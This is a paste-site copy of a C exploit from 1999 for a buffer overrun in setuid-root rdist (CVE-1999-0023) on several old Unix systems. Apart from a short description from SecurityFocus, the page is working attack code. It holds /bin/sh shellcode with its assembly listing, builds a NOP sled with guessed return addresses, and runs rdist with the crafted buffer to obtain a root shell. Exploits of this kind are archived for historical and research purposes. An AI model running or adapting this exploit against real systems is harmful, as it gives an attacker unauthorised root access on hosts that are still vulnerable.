BSDI BSD/OS 2.1 / FreeBSD 2.1 / IBM AIX 4.2 / SGI IRIX 6.4 / Sun SunOS 4.1.3 - Buffer Overrun - CVE-1999-0023


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:47 a.m.

FORMAT: C

SIZE: 2.8 kB

HITS: 440

  1. /*
  2. source: https://www.securityfocus.com/bid/129/info
  3. Rdist is a program to maintain identical copies of files over multiple hosts. It preserves the owner, group, mode, and mtime of files if possible and can update programs that are executing. Rdist reads commands from distfile to direct the updating of files and/or directories.
  4. Rdist has over time been notorious for security vulnerabilities. In this instance it is vulnerable to a buffer overrun from user supplied data. Given that rdist is setuid root in some enviroments the attacker can excecute this buffer overflow with the resulting commands they craft being executed as root.
  5. */
  6. /* cut here Brian Mitchell (brian@saturn.net) */
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10. #define DEFAULT_OFFSET 50
  11. #define BUFFER_SIZE 256
  12. long get_esp(void)
  13. {
  14. __asm__("movl %esp,%eax\n");
  15. }
  16. main(int argc, char **argv)
  17. {
  18. char *buff = NULL;
  19. unsigned long *addr_ptr = NULL;
  20. char *ptr = NULL;
  21. /* so you dont have to disassemble it, here is the asm code:
  22. start:
  23. jmp endofk0dez
  24. realstart:
  25. popl %esi
  26. leal (%esi), %ebx
  27. movl %ebx, 0x0b(%esi)
  28. xorl %edx, %edx
  29. movl %edx, 7(%esi)
  30. movl %edx, 0x0f(%esi)
  31. movl %edx, 0x14(%esi)
  32. movb %edx, 0x19(%esi)
  33. xorl %eax, %eax
  34. movb $59, %al
  35. leal 0x0b(%esi), %ecx
  36. movl %ecx, %edx
  37. pushl %edx
  38. pushl %ecx
  39. pushl %ebx
  40. pushl %eax
  41. jmp bewm
  42. endofk0dez:
  43. call realstart
  44. .byte '/', 'b', 'i', 'n', '/', 's', 'h'
  45. .byte 1, 1, 1, 1
  46. .byte 2, 2, 2, 2
  47. .byte 3, 3, 3, 3
  48. bewm:
  49. .byte 0x9a, 4, 4, 4, 4, 7, 4
  50. */
  51. char execshell[] =
  52. "\xeb\x23"
  53. "\x5e"
  54. "\x8d\x1e"
  55. "\x89\x5e\x0b"
  56. "\x31\xd2"
  57. "\x89\x56\x07"
  58. "\x89\x56\x0f"
  59. "\x89\x56\x14"
  60. "\x88\x56\x19"
  61. "\x31\xc0"
  62. "\xb0\x3b"
  63. "\x8d\x4e\x0b"
  64. "\x89\xca"
  65. "\x52"
  66. "\x51"
  67. "\x53"
  68. "\x50"
  69. "\xeb\x18"
  70. "\xe8\xd8\xff\xff\xff"
  71. "/bin/sh"
  72. "\x01\x01\x01\x01"
  73. "\x02\x02\x02\x02"
  74. "\x03\x03\x03\x03"
  75. "\x9a\x04\x04\x04\x04\x07\x04";
  76. int i;
  77. int ofs = DEFAULT_OFFSET;
  78. /* if we have a argument, use it as offset, else use default */
  79. if(argc == 2)
  80. ofs = atoi(argv[1]);
  81. /* print the offset in use */
  82. printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  83. buff = malloc(4096);
  84. if(!buff)
  85. {
  86. printf("can't allocate memory\n");
  87. exit(0);
  88. }
  89. ptr = buff;
  90. /* fill start of buffer with nops */
  91. memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  92. ptr += BUFFER_SIZE-strlen(execshell);
  93. /* stick asm code into the buffer */
  94. for(i=0;i < strlen(execshell);i++)
  95. *(ptr++) = execshell[i];
  96. /* write the return addresses
  97. **
  98. ** return address 4
  99. ** ebp 4
  100. ** register unsigned n 0
  101. ** register char *cp 0
  102. ** register struct syment *s 0
  103. **
  104. ** total: 8
  105. */
  106. addr_ptr = (long *)ptr;
  107. for(i=0;i < (8/4);i++)
  108. *(addr_ptr++) = get_esp() + ofs;
  109. ptr = (char *)addr_ptr;
  110. *ptr = 0;
  111. execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  112. }
  113. /* cut here */

comments powered by Disqus